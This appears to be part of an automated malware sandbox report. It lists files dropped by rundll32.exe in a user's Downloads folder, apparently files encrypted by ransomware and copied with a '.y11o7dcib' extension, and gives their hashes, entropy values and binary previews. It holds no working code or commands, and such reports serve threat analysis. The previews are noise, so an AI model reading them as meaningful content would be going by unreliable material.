Preview:	V..K..o...<?........B.......[.o..<.N.C.&.k..Y+)........UDJ..^..t....".........Q.......V.x..+.J.V.1..p..]-.........C_M..I..h...,#........].......W.s..".[.J.'..q..C6,..........T[_..J..d...,,.........@.......D.v..2.L.R.:..b..]02........BZM..Q..v...)%.........M.......[.q..?.T.P.-..l..\.-........GUG..W..d.../.........D.......[.b..!.W.N.,..b..B4'..........[U\..V..m...,9.........X.......I.n..$.N.B.#.n..B1,........[BI..M..v...8".........S.......[.\|..#.R.W.4....Z=;..........YYD..F..m...;/.........W.......V.s..2.J.^.$.a..I17........_[Q.._......&1.........@.......X.y..&.K.O..}..E+..........B^K...J..s...>/.........^.......J.p..&.P.J.;..l..L/*........@CR..R..y...'!.........V.......C.w..4.V.A.$..k..\-2........GWL...I..~...%6.........D.......Y.x..$._.F.-.p..X2/........PBB..Q..p...7-.........G.......J.l..3.T.N. ..r..D-(........X@P..U..r...<4........].......U.a..6.V.C.'..d..A2"..........PUO..._..z...(,........D.......Q.k.. .I.

C:\Users\user\Downloads\PWCCAWLGRE.mp3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.589379802204277
Encrypted:	false
SSDEEP:
MD5:	D2856F0A02C7A24C5AA757AD1484C11F
SHA1:	4B3B6D63CE83C831D6F6CD60BC270BF6AE22C5DE
SHA-256:	56279062AFA33E0F3D1CF8A16AC582EF4A474F12EBA61D76E803D939FDA727AC
SHA-512:	2E57CFB5E9304538551781C883F6A4C58CDFB208618B66694CC4C1A0293186515B534A7365AFD5F04803C36DAF2DD4E5E156DB32C6CB1F459BF9CDF411D508A1
Malicious:	false
Preview:	V..K..o...<?........B.......[.o..<.N.C.&.k..Y+)........UDJ..^..t....".........Q.......V.x..+.J.V.1..p..]-.........C_M..I..h...,#........].......W.s..".[.J.'..q..C6,..........T[_..J..d...,,.........@.......D.v..2.L.R.:..b..]02........BZM..Q..v...)%.........M.......[.q..?.T.P.-..l..\.-........GUG..W..d.../.........D.......[.b..!.W.N.,..b..B4'..........[U\..V..m...,9.........X.......I.n..$.N.B.#.n..B1,........[BI..M..v...8".........S.......[.\|..#.R.W.4....Z=;..........YYD..F..m...;/.........W.......V.s..2.J.^.$.a..I17........_[Q.._......&1.........@.......X.y..&.K.O..}..E+..........B^K...J..s...>/.........^.......J.p..&.P.J.;..l..L/*........@CR..R..y...'!.........V.......C.w..4.V.A.$..k..\-2........GWL...I..~...%6.........D.......Y.x..$._.F.-.p..X2/........PBB..Q..p...7-.........G.......J.l..3.T.N. ..r..D-(........X@P..U..r...<4........].......U.a..6.V.C.'..d..A2"..........PUO..._..z...(,........D.......Q.k.. .I.

C:\Users\user\Downloads\RAYHIWGKDI.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.594321652567308
Encrypted:	false
SSDEEP:
MD5:	111725002F78C5DFF7DDBFA799C8D808
SHA1:	EB725FC5ED4E93DA4E5FCD4CD1ED689FB21BCD1B
SHA-256:	5CD3B4FD62A540AE9BC38B057B79A9E539C3F31CD94F6E8708D465627C8CA168
SHA-512:	DB757FC6E62EB2325B8A9F544ECEE91268E31B4D335271E58DF8CF31D53A223B2F0DE443E9EDEA2C76DE7482A2F1A8AF4A244A16575FCBE018616EA5F5622B07
Malicious:	false
Preview:	.kxtz>..<..t..;....r&.7$.z$..Z.s.....=.......:>.P...K.].....v}.\|<..'..l..;....f0.>;.n;..A.s.....%.....-.8,.A...].L.......y.nw5..-..y..8....g3.?$.x"..I.x.....%.....?.3=.R...G.J.......psuj#.. ..~..(....` .!-.l-..Y.n.....5...).3?.D...K.S.......urex(..<..c..)....`'.;4..:..P.w.....8...<.%'.R...C.V.......`cnh ..9..g..6....t'.=7.e$..T.c....."......;&.G...N.\.....a{nj)..6..e..5....p-.7<.}+..X..q.....?...%.$$.K...Z.N.....~xz}(..$..p......z3.$'.g6..[.q.....'.....<.,<.Z...M._.......}w\|a3..;..s..7....a6.29.h(..S.o.....9...9.&.T...].P.......k`tt;..3..z..-....}'.,=.}9..V..c.....".....'.1,.]...].W.....}`h~<..8..q..1....f3.=4.i$..^..m.....7.....?.75.Q...[.\.....vvl~:..>..g..0....}.."2.k6..Z.w.....%...!.1;.A...\.[.....k~dt(..7..f../.....8..&.c=..E.~.....:...$./&.P...O._.......fzox(..7.....-....y/.9-.{..K..i.....>...".;'.Q...C._.......qrpo ..7..}..3....y..31.w(..H..n.....9...?.2).K...Q.H.......~a\|o3../..f..:....\|4.;*.m...B..h.....7

C:\Users\user\Downloads\RAYHIWGKDI.docx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.594321652567308
Encrypted:	false
SSDEEP:
MD5:	111725002F78C5DFF7DDBFA799C8D808
SHA1:	EB725FC5ED4E93DA4E5FCD4CD1ED689FB21BCD1B
SHA-256:	5CD3B4FD62A540AE9BC38B057B79A9E539C3F31CD94F6E8708D465627C8CA168
SHA-512:	DB757FC6E62EB2325B8A9F544ECEE91268E31B4D335271E58DF8CF31D53A223B2F0DE443E9EDEA2C76DE7482A2F1A8AF4A244A16575FCBE018616EA5F5622B07
Malicious:	false
Preview:	.kxtz>..<..t..;....r&.7$.z$..Z.s.....=.......:>.P...K.].....v}.\|<..'..l..;....f0.>;.n;..A.s.....%.....-.8,.A...].L.......y.nw5..-..y..8....g3.?$.x"..I.x.....%.....?.3=.R...G.J.......psuj#.. ..~..(....` .!-.l-..Y.n.....5...).3?.D...K.S.......urex(..<..c..)....`'.;4..:..P.w.....8...<.%'.R...C.V.......`cnh ..9..g..6....t'.=7.e$..T.c....."......;&.G...N.\.....a{nj)..6..e..5....p-.7<.}+..X..q.....?...%.$$.K...Z.N.....~xz}(..$..p......z3.$'.g6..[.q.....'.....<.,<.Z...M._.......}w\|a3..;..s..7....a6.29.h(..S.o.....9...9.&.T...].P.......k`tt;..3..z..-....}'.,=.}9..V..c.....".....'.1,.]...].W.....}`h~<..8..q..1....f3.=4.i$..^..m.....7.....?.75.Q...[.\.....vvl~:..>..g..0....}.."2.k6..Z.w.....%...!.1;.A...\.[.....k~dt(..7..f../.....8..&.c=..E.~.....:...$./&.P...O._.......fzox(..7.....-....y/.9-.{..K..i.....>...".;'.Q...C._.......qrpo ..7..}..3....y..31.w(..H..n.....9...?.2).K...Q.H.......~a\|o3../..f..:....\|4.;*.m...B..h.....7

C:\Users\user\Downloads\SFPUSAFIOL.png

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.556089746558303
Encrypted:	false
SSDEEP:
MD5:	E3F588FAB37FD8B6C339661A3A7DD687
SHA1:	77E3BC9A7EBBD2E954027839D928C205BAA0E5DB
SHA-256:	073C6BFFA6AAA1BCF228AF5C5C4C61FF34F631B9399135CD0EB2FCA734947767
SHA-512:	1ABB04274B2BEF2B6A6D035670E3D454219DF3452515EE5351CBDAD7464CE1A30E20A51435781FF3971DDF58EDB4FD31A6607E7B7B8B7B0FFCCF14ED3694A5C3
Malicious:	false
Preview:	.....bz...H...H~.r.8...\|Z...Er...E.........}vn..Q..{1e...........q{..M...F~.k.=...gX...Jl...\.........cmk.._...k&d...........`f...I...P}.o.4...~\...Bq...K.........rdh..K.../m.........go...W...^`.n.8...zN...Gz...W..........i`c..\..z;v...........ez...K...Uv.\|.>...gX...Sq...\.........uyn..G..s1s.........e{..L...[j.s.&...qC...Us...D.........ad}..I..n$n.........g{...L...Jx.s./...yY...T}...A.........uup..C..o/y.......{r...R...Mu.v.(...dJ...I~...M.........ktn..Q...y0d............`..V...Ez.o.8...}C...Vy...J.........rij..@...t4g.......lf..H...Zm.t./...oX...Rt...C.........yin..Q..t:............ng...Z...Rj.n.8...aF...Gg...B.........sn}..I...{3t...........mw..J...Ys.p.>...rB...Fr..._.........wiq..F..m)x.........xs..T...Tq.h.9...sA....Il...G.........zym..S..s8i.........co...J...T`.h.>...b]....Pn...J.........kup..T..y*o.......`f..F...Im.`.4...a_...Ss...E.........xur..G...\|(g...........o~...K...U\|.e.+...fY...Kr...\..

C:\Users\user\Downloads\SFPUSAFIOL.png.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.556089746558303
Encrypted:	false
SSDEEP:
MD5:	E3F588FAB37FD8B6C339661A3A7DD687
SHA1:	77E3BC9A7EBBD2E954027839D928C205BAA0E5DB
SHA-256:	073C6BFFA6AAA1BCF228AF5C5C4C61FF34F631B9399135CD0EB2FCA734947767
SHA-512:	1ABB04274B2BEF2B6A6D035670E3D454219DF3452515EE5351CBDAD7464CE1A30E20A51435781FF3971DDF58EDB4FD31A6607E7B7B8B7B0FFCCF14ED3694A5C3
Malicious:	false
Preview:	.....bz...H...H~.r.8...\|Z...Er...E.........}vn..Q..{1e...........q{..M...F~.k.=...gX...Jl...\.........cmk.._...k&d...........`f...I...P}.o.4...~\...Bq...K.........rdh..K.../m.........go...W...^`.n.8...zN...Gz...W..........i`c..\..z;v...........ez...K...Uv.\|.>...gX...Sq...\.........uyn..G..s1s.........e{..L...[j.s.&...qC...Us...D.........ad}..I..n$n.........g{...L...Jx.s./...yY...T}...A.........uup..C..o/y.......{r...R...Mu.v.(...dJ...I~...M.........ktn..Q...y0d............`..V...Ez.o.8...}C...Vy...J.........rij..@...t4g.......lf..H...Zm.t./...oX...Rt...C.........yin..Q..t:............ng...Z...Rj.n.8...aF...Gg...B.........sn}..I...{3t...........mw..J...Ys.p.>...rB...Fr..._.........wiq..F..m)x.........xs..T...Tq.h.9...sA....Il...G.........zym..S..s8i.........co...J...T`.h.>...b]....Pn...J.........kup..T..y*o.......`f..F...Im.`.4...a_...Ss...E.........xur..G...\|(g...........o~...K...U\|.e.+...fY...Kr...\..

C:\Users\user\Downloads\UOOJJOZIRH.jpg

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.59045788822113
Encrypted:	false
SSDEEP:
MD5:	7D3D0598A1826AA131706EB0C287762A
SHA1:	D51BF9280453078AE6DFC88FDF7C2F40A46FA263
SHA-256:	18682A86383EC61767800945432D704B2E33707CA9C4BE4D4CAEEF59BF77588E
SHA-512:	4F43AA4DA15F48D2EA1816821031976DFB72E2F9DF8CA0BA5E164D5E3C07DF2988A9C5F5C2D8279D20A26D210E5ECE30930F06F1A4F9AFA06FA73F3E2450DAFA
Malicious:	false
Preview:	n`.9..A.{..... @.0....VL.4..EH.S.\|.........)...Zw.U...L..nu.:..B.`.....'Y.1....]].)..E@.K......n......)...Zs.T...I..~j.)..L.z.....>@.)....XR.$..UT.G.u....{....3...Fo.W...J..}m.+..B.\|......#A.-....VU..:..WD.Z.f....l....(...Iy.K...^..}a.;..K.w.....3G.=....ZI.?..IM.[.u....m....7...Et.]...Z..kg. ..G.e.....4F.....WV./..WW.X.u....s....&...Bl.[...Z..vv..9..P.f.....-F.,....MB....NF.D.l....v....?...Wd.Q...Z..ku.)..M.e....8G.-....HJ.$..ZN.\.q....v......(...Wz.I...I..vi.#..R.z....<R.1....YL.)..JH.R.i....u......$...]o.K..._..uw.6..B.\|.....$R.6....XV...CU.O.c....t........Kx.L...A..u..#..P.v.....!T./....L]."..G\.I.b....w....+...Tn.]...Z..~i.)..Q.b.....'@.3....IT.8..DD.E.f....g....4...Bp.O...O..\|h.8..L.x....1D.>....ZA./..JH.S.t....{....5...Dh.J...I..i..)..K.z....=\.#....ZU.>..[R._.h....r......3...^r.^...L..ve.%..N.p......2\.!....JY....[R.Z......}......,...Rn.]...Y..pi.7..Q.d.....#X.-....]Y.+..IU.R.i..

C:\Users\user\Downloads\UOOJJOZIRH.jpg.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.59045788822113
Encrypted:	false
SSDEEP:
MD5:	7D3D0598A1826AA131706EB0C287762A
SHA1:	D51BF9280453078AE6DFC88FDF7C2F40A46FA263
SHA-256:	18682A86383EC61767800945432D704B2E33707CA9C4BE4D4CAEEF59BF77588E
SHA-512:	4F43AA4DA15F48D2EA1816821031976DFB72E2F9DF8CA0BA5E164D5E3C07DF2988A9C5F5C2D8279D20A26D210E5ECE30930F06F1A4F9AFA06FA73F3E2450DAFA
Malicious:	false
Preview:	n`.9..A.{..... @.0....VL.4..EH.S.\|.........)...Zw.U...L..nu.:..B.`.....'Y.1....]].)..E@.K......n......)...Zs.T...I..~j.)..L.z.....>@.)....XR.$..UT.G.u....{....3...Fo.W...J..}m.+..B.\|......#A.-....VU..:..WD.Z.f....l....(...Iy.K...^..}a.;..K.w.....3G.=....ZI.?..IM.[.u....m....7...Et.]...Z..kg. ..G.e.....4F.....WV./..WW.X.u....s....&...Bl.[...Z..vv..9..P.f.....-F.,....MB....NF.D.l....v....?...Wd.Q...Z..ku.)..M.e....8G.-....HJ.$..ZN.\.q....v......(...Wz.I...I..vi.#..R.z....<R.1....YL.)..JH.R.i....u......$...]o.K..._..uw.6..B.\|.....$R.6....XV...CU.O.c....t........Kx.L...A..u..#..P.v.....!T./....L]."..G\.I.b....w....+...Tn.]...Z..~i.)..Q.b.....'@.3....IT.8..DD.E.f....g....4...Bp.O...O..\|h.8..L.x....1D.>....ZA./..JH.S.t....{....5...Dh.J...I..i..)..K.z....=\.#....ZU.>..[R._.h....r......3...^r.^...L..ve.%..N.p......2\.!....JY....[R.Z......}......,...Rn.]...Y..pi.7..Q.d.....#X.-....]Y.+..IU.R.i..

C:\Users\user\Downloads\VAMYDFPUND.mp3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.586731813212909
Encrypted:	false
SSDEEP:
MD5:	ADA2B42128104393BABD2ABB820C7C07
SHA1:	01AA8825B99F18CBCB1FDC4093AB7D006F577398
SHA-256:	F9CB8544BBB14FBD69A602D2C744292803008B0FFB18A8BA2566921BA6C29237
SHA-512:	2665E7AE6D99847385DC34A9F63896BA5922C59D0DF4104696207CED18712AEF9CD6D60A359E3CE805CCB0CA1EDF01565ABE8C0A5B4FE3BFD8188677D3029350
Malicious:	false
Preview:	P.p..k...dJ..d..2...\..w.--..n...k..C.y..^Uc..{I..F..7..)..XB.m..e...iN.j..%...Q..d..8..a...m..K.}..EP`..zI..Z..=..0..FM.i..j...qD.w..;...[...w.04..g...j..S.w..WSl..u@..B...3..8..MO.k..k...bX.c..&...H..g.%7..`...q..]....HZ\|..pB..L...3..=..RD.p..k...vP..v..$...Q..q.2+..z...g..A.a..RSt..vG..Y..,.. ..T\.g..{...wH.b..<...@..a./(..s...{..R.s..VBm..oV..L.. ..1..Q@.n..{....iM.f..>...J...y.23..g...o..W.c..XPk..oF..D..9....KM.w..\|...mU.i..8...R...c.3..s...n..P.n..]\q..{I..^.."..%..ID.\|..k...mN.w..#...@..v.8:..r...d..L.l..JNm..wI..T..&..#..NJ.y..u...hD.w..,...^...h.+9..b...j..Q.s..VMj..mU..T..&..+..FO.d..g...qB..q..-...A..f.3..z...e..@.\|..KSv..w\..Z..$..6..MA.r..i...qW.a..,...[...a./2..x...c..B.l..OGt..zD..P...-.. ..VS.\|..}...kY..m..'...K...p./'..z...g.._.j..YF~..iR..A..%..5..EG.q..j...vP.m..1...I...{.)..l...x..O.m..JRa..oI..L..:.. ..[B.x..g...bX.u..8...H...\|.&8..v...m..V.l..PQp...Q..Z..$..:..]T.d..}...qM.b..1...S..y.9:..{...}..R.

C:\Users\user\Downloads\VAMYDFPUND.mp3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.586731813212909
Encrypted:	false
SSDEEP:
MD5:	ADA2B42128104393BABD2ABB820C7C07
SHA1:	01AA8825B99F18CBCB1FDC4093AB7D006F577398
SHA-256:	F9CB8544BBB14FBD69A602D2C744292803008B0FFB18A8BA2566921BA6C29237
SHA-512:	2665E7AE6D99847385DC34A9F63896BA5922C59D0DF4104696207CED18712AEF9CD6D60A359E3CE805CCB0CA1EDF01565ABE8C0A5B4FE3BFD8188677D3029350
Malicious:	false
Preview:	P.p..k...dJ..d..2...\..w.--..n...k..C.y..^Uc..{I..F..7..)..XB.m..e...iN.j..%...Q..d..8..a...m..K.}..EP`..zI..Z..=..0..FM.i..j...qD.w..;...[...w.04..g...j..S.w..WSl..u@..B...3..8..MO.k..k...bX.c..&...H..g.%7..`...q..]....HZ\|..pB..L...3..=..RD.p..k...vP..v..$...Q..q.2+..z...g..A.a..RSt..vG..Y..,.. ..T\.g..{...wH.b..<...@..a./(..s...{..R.s..VBm..oV..L.. ..1..Q@.n..{....iM.f..>...J...y.23..g...o..W.c..XPk..oF..D..9....KM.w..\|...mU.i..8...R...c.3..s...n..P.n..]\q..{I..^.."..%..ID.\|..k...mN.w..#...@..v.8:..r...d..L.l..JNm..wI..T..&..#..NJ.y..u...hD.w..,...^...h.+9..b...j..Q.s..VMj..mU..T..&..+..FO.d..g...qB..q..-...A..f.3..z...e..@.\|..KSv..w\..Z..$..6..MA.r..i...qW.a..,...[...a./2..x...c..B.l..OGt..zD..P...-.. ..VS.\|..}...kY..m..'...K...p./'..z...g.._.j..YF~..iR..A..%..5..EG.q..j...vP.m..1...I...{.)..l...x..O.m..JRa..oI..L..:.. ..[B.x..g...bX.u..8...H...\|.&8..v...m..V.l..PQp...Q..Z..$..:..]T.d..}...qM.b..1...S..y.9:..{...}..R.

C:\Users\user\Downloads\VAMYDFPUND.pdf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.576681435977876
Encrypted:	false
SSDEEP:
MD5:	C666FEFFD63A66690E864CA129B60FF5
SHA1:	E5C943A8F0E168695CB8AEC821A25DDA47ED255B
SHA-256:	42739994D0EEC225A2507ADDE34A43CC6A8EC6DAC202DABAE28B073982C20201
SHA-512:	256D3185567ED912C72A8FF763E324C533803E64558B780A4B0D30C6785FCC8D5C2E0EA078CC89FB5C97CEF4041EBD65AD302531C25406EA040B965BC31FD662
Malicious:	false
Preview:	0.~T.;ZG.....(6...#U..@..).v.....$.F.>.$.V.\.U...:Qe...I..".c_.5_G.....&5c...E..P..+.y.....3.R..?.U.E.U...7Mi...F..-.gK.:ST.....;,k..$[..X..7....... .G.8.-.Y.H.\...0Fu...U../.eW.;GQ...../.q..7M...B..'.x.....-.J..2.I.W.^...#F\|....B..$.~\.;M_......:>z...Z...F..&.b.....(.U.#.(.A.A.[...7@g...\..<.iD.+RV......:`..?K...G..0.k.....$.Y.8.,.X.W.J...0Tb...].. .`G.+]].....;n..5[..N..0........T.<.".^.@.Z...:Zb...]..-.yJ.,@X.....%'v..-V..Z..?.k...../.Q.4.'.D.U.U...7Sf...O..$.r\.;EF.....;7j....?N...D..9.j.....".G.".0.X.D.U...1R...._...wN.%^Y.....;"c..!L..F..=.z.....,.Q.".,._.\.I...1T}...O../.j@.7BH.....=#o....>Q...R.. .b.......T...1.C.Q.@...Hd...\..!.\|W.9P].....-,u..$N..K..).`.....0.N.?.5.A.N.X...+Fa...O..3.r@.-XD.....!;s..4I..I..2.b.......W.7.#.K.W.N...1[g....L..'..^.:GA.....!1~..6R..B..+.t.....).].&.0.T.J.U...+Nt...]..".vJ.7PV.....9%{..7Q..E..%.n.....=.K.8.*.E.V.M...7K}....L..4.jK.-D]......'i..,K...@..8.c.....>.N

C:\Users\user\Downloads\VAMYDFPUND.pdf.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.576681435977876
Encrypted:	false
SSDEEP:
MD5:	C666FEFFD63A66690E864CA129B60FF5
SHA1:	E5C943A8F0E168695CB8AEC821A25DDA47ED255B
SHA-256:	42739994D0EEC225A2507ADDE34A43CC6A8EC6DAC202DABAE28B073982C20201
SHA-512:	256D3185567ED912C72A8FF763E324C533803E64558B780A4B0D30C6785FCC8D5C2E0EA078CC89FB5C97CEF4041EBD65AD302531C25406EA040B965BC31FD662
Malicious:	false
Preview:	0.~T.;ZG.....(6...#U..@..).v.....$.F.>.$.V.\.U...:Qe...I..".c_.5_G.....&5c...E..P..+.y.....3.R..?.U.E.U...7Mi...F..-.gK.:ST.....;,k..$[..X..7....... .G.8.-.Y.H.\...0Fu...U../.eW.;GQ...../.q..7M...B..'.x.....-.J..2.I.W.^...#F\|....B..$.~\.;M_......:>z...Z...F..&.b.....(.U.#.(.A.A.[...7@g...\..<.iD.+RV......:`..?K...G..0.k.....$.Y.8.,.X.W.J...0Tb...].. .`G.+]].....;n..5[..N..0........T.<.".^.@.Z...:Zb...]..-.yJ.,@X.....%'v..-V..Z..?.k...../.Q.4.'.D.U.U...7Sf...O..$.r\.;EF.....;7j....?N...D..9.j.....".G.".0.X.D.U...1R...._...wN.%^Y.....;"c..!L..F..=.z.....,.Q.".,._.\.I...1T}...O../.j@.7BH.....=#o....>Q...R.. .b.......T...1.C.Q.@...Hd...\..!.\|W.9P].....-,u..$N..K..).`.....0.N.?.5.A.N.X...+Fa...O..3.r@.-XD.....!;s..4I..I..2.b.......W.7.#.K.W.N...1[g....L..'..^.:GA.....!1~..6R..B..+.t.....).].&.0.T.J.U...+Nt...]..".vJ.7PV.....9%{..7Q..E..%.n.....=.K.8.*.E.V.M...7K}....L..4.jK.-D]......'i..,K...@..8.c.....>.N

C:\Users\user\Downloads\VAMYDFPUND.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.6139704008565445
Encrypted:	false
SSDEEP:
MD5:	52EB558A3976186C804FA01A82BFFB26
SHA1:	F525103BE636AE4764987E807E26D44B6818CD3F
SHA-256:	633908F45ED63B57C078D7CBA1615C1F3746DB9E3213B729E7C17BCD89A00CC4
SHA-512:	6BE278A4A0A2E2D086C8B9491C4DF3688C35DF5657B87C4BD96837959101B06800CF7FA987040689ED5384D237933184B68902B41FEB894B45D2E9C9A33E9A19
Malicious:	false
Preview:	-.)._.....L....q/J...0.....U\..R....t..rn..:>.........B3Dq..??.4.N...x.'H....m8]... .....@^..S....c..vi..!;.........N9Zu..!0.0.A...i.?B....e&G...>.....LB..^....p..\|~..38.......R7Zb..2.2.Z...z.,^.....;J...(.....OR..V....}..to..,1.......[7]g..59.).L...}.8V....t9\...?.....SS..P....x..j~..68.........@(Eh..3!.>.U...u.9N....n!O.........PE..P....t..xq..2).......E$Eg..6=.7.M...t.'K....`#G...>.....KE..O....z..h...<;.........E=Xt..,0...N...y.#S....x%K...3.....KJ..I.......ep..97.......A&Bk...9.%.O...g.#H....d>U...+.....BL.._....r..gl...%.........X"@{..)7. .B...x.&B....m1C...).....AH..@....\|..xo..2&.........Z"X`..!2.=.Z...\|.?D....a0X...4.....RU..Q....~..wf../8.......C Ai..*<.+.K...b.?Q....{1_...+.....J\..W....`..gu..+,.......F)Bh..1..%.K...p.%_....}:K...,....._G..H....~..aa..=-.......@!_l..":.(.X...y.8V....p,\...7.....Q^..N....y..fu...9.........S>Fp..<?.!.Z...v.,^....u%I...4.....@P..^....m..gn..4:.......Z ^t..:).=.K...p.?K....g,G.........BM..Q....n..

C:\Users\user\Downloads\VAMYDFPUND.xlsx.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.6139704008565445
Encrypted:	false
SSDEEP:
MD5:	52EB558A3976186C804FA01A82BFFB26
SHA1:	F525103BE636AE4764987E807E26D44B6818CD3F
SHA-256:	633908F45ED63B57C078D7CBA1615C1F3746DB9E3213B729E7C17BCD89A00CC4
SHA-512:	6BE278A4A0A2E2D086C8B9491C4DF3688C35DF5657B87C4BD96837959101B06800CF7FA987040689ED5384D237933184B68902B41FEB894B45D2E9C9A33E9A19
Malicious:	false
Preview:	-.)._.....L....q/J...0.....U\..R....t..rn..:>.........B3Dq..??.4.N...x.'H....m8]... .....@^..S....c..vi..!;.........N9Zu..!0.0.A...i.?B....e&G...>.....LB..^....p..\|~..38.......R7Zb..2.2.Z...z.,^.....;J...(.....OR..V....}..to..,1.......[7]g..59.).L...}.8V....t9\...?.....SS..P....x..j~..68.........@(Eh..3!.>.U...u.9N....n!O.........PE..P....t..xq..2).......E$Eg..6=.7.M...t.'K....`#G...>.....KE..O....z..h...<;.........E=Xt..,0...N...y.#S....x%K...3.....KJ..I.......ep..97.......A&Bk...9.%.O...g.#H....d>U...+.....BL.._....r..gl...%.........X"@{..)7. .B...x.&B....m1C...).....AH..@....\|..xo..2&.........Z"X`..!2.=.Z...\|.?D....a0X...4.....RU..Q....~..wf../8.......C Ai..*<.+.K...b.?Q....{1_...+.....J\..W....`..gu..+,.......F)Bh..1..%.K...p.%_....}:K...,....._G..H....~..aa..=-.......@!_l..":.(.X...y.8V....p,\...7.....Q^..N....y..fu...9.........S>Fp..<?.!.Z...v.,^....u%I...4.....@P..^....m..gn..4:.......Z ^t..:).=.K...p.?K....g,G.........BM..Q....n..

C:\Users\user\Downloads\WKXEWIOTXI.jpg

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.6015210690172
Encrypted:	false
SSDEEP:
MD5:	A0ADB862DC6EB3B39B59E78B2D03185E
SHA1:	6D061A1C3DCF0B316018667DA8C27B0419ABB52B
SHA-256:	1F503198C68EB0CD86A24B6819C6E4658D58957C6D2E68CC558473D7D1E7686F
SHA-512:	B31DED0473DB4B614775CBC89D5074476C576E19910302DCAAFF2330248586706EF8369675C455E63CA88FFDB6BB67F3D2B4F6FB8768464FC728417A7835B4A1
Malicious:	false
Preview:	n=...T.o}.@...Y1.!z..B...i.X..c.MiW.d..O.[N.E..-.W=..Y..h...l=.._".rb.I..._=.2`..@...v.V..b.YkU.~.._.VN.L.6.R1..[..k....}!..[ .pc.C...Z6.(b..O...v.C..y.]tP.q..N.ZU.\. .U:..E..k...{5..O4.`y.T...U7..8}..M...q.V..m.\l].h..I.TH.M.&.K$..C..{...{1..I".a~.@...[+..`..[...n.L..w.Sw@.h.._.KM.Z.;.Y...I..r...x%..V,.g~.T...O;..(z..G...e.J..v.AbB.w..K.YI.\..8.D0..E..~...u&..X/.fv.R...F...1t..@...e._..o.^k].l..M.U[.W..6.B8..P..g...}!..P#.xz.I...I1."~..Y...{.B..z.\uV.`..O.LJ.C.=.E?..T..p...w9..P'.gd.D...@6..0~.._...z.F..u.ItP.`...I._V.E.0.T)..@..{...a>..[0.uy.I...\*..?i..P...h.Z..g._rE.~..L.KK.D..>.J)..D..h....s'...Q(.ml.Q...B,.(u..C...o.E..a.KqD.v..^.J@.J.:.P5..Y..q...~>..L4.f\|.D...E9.1i..Z...d.[..h.Vy^.p..R.@X.Y."._-..G..x...q'..M4.~y.Y...E)..1u..^...f.H..z.^.Q.k..H.VV.E.#.P/..N..r...r9..M3.z}.S...L2...w..I...`.O..d.BjW.o..V.^E.\. .E7..H..h...k=..D"..m.C...Y2.0c..\...`.A..u.R\|Z.m..Z.]L.K.;.Y)..R..z...s&..T+.on.U...@:.5y..F...w.M..y.ZjZ.q.

C:\Users\user\Downloads\WKXEWIOTXI.jpg.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.6015210690172
Encrypted:	false
SSDEEP:
MD5:	A0ADB862DC6EB3B39B59E78B2D03185E
SHA1:	6D061A1C3DCF0B316018667DA8C27B0419ABB52B
SHA-256:	1F503198C68EB0CD86A24B6819C6E4658D58957C6D2E68CC558473D7D1E7686F
SHA-512:	B31DED0473DB4B614775CBC89D5074476C576E19910302DCAAFF2330248586706EF8369675C455E63CA88FFDB6BB67F3D2B4F6FB8768464FC728417A7835B4A1
Malicious:	false
Preview:	n=...T.o}.@...Y1.!z..B...i.X..c.MiW.d..O.[N.E..-.W=..Y..h...l=.._".rb.I..._=.2`..@...v.V..b.YkU.~.._.VN.L.6.R1..[..k....}!..[ .pc.C...Z6.(b..O...v.C..y.]tP.q..N.ZU.\. .U:..E..k...{5..O4.`y.T...U7..8}..M...q.V..m.\l].h..I.TH.M.&.K$..C..{...{1..I".a~.@...[+..`..[...n.L..w.Sw@.h.._.KM.Z.;.Y...I..r...x%..V,.g~.T...O;..(z..G...e.J..v.AbB.w..K.YI.\..8.D0..E..~...u&..X/.fv.R...F...1t..@...e._..o.^k].l..M.U[.W..6.B8..P..g...}!..P#.xz.I...I1."~..Y...{.B..z.\uV.`..O.LJ.C.=.E?..T..p...w9..P'.gd.D...@6..0~.._...z.F..u.ItP.`...I._V.E.0.T)..@..{...a>..[0.uy.I...\*..?i..P...h.Z..g._rE.~..L.KK.D..>.J)..D..h....s'...Q(.ml.Q...B,.(u..C...o.E..a.KqD.v..^.J@.J.:.P5..Y..q...~>..L4.f\|.D...E9.1i..Z...d.[..h.Vy^.p..R.@X.Y."._-..G..x...q'..M4.~y.Y...E)..1u..^...f.H..z.^.Q.k..H.VV.E.#.P/..N..r...r9..M3.z}.S...L2...w..I...`.O..d.BjW.o..V.^E.\. .E7..H..h...k=..D"..m.C...Y2.0c..\...`.A..u.R\|Z.m..Z.]L.K.;.Y)..R..z...s&..T+.on.U...@:.5y..F...w.M..y.ZjZ.q.

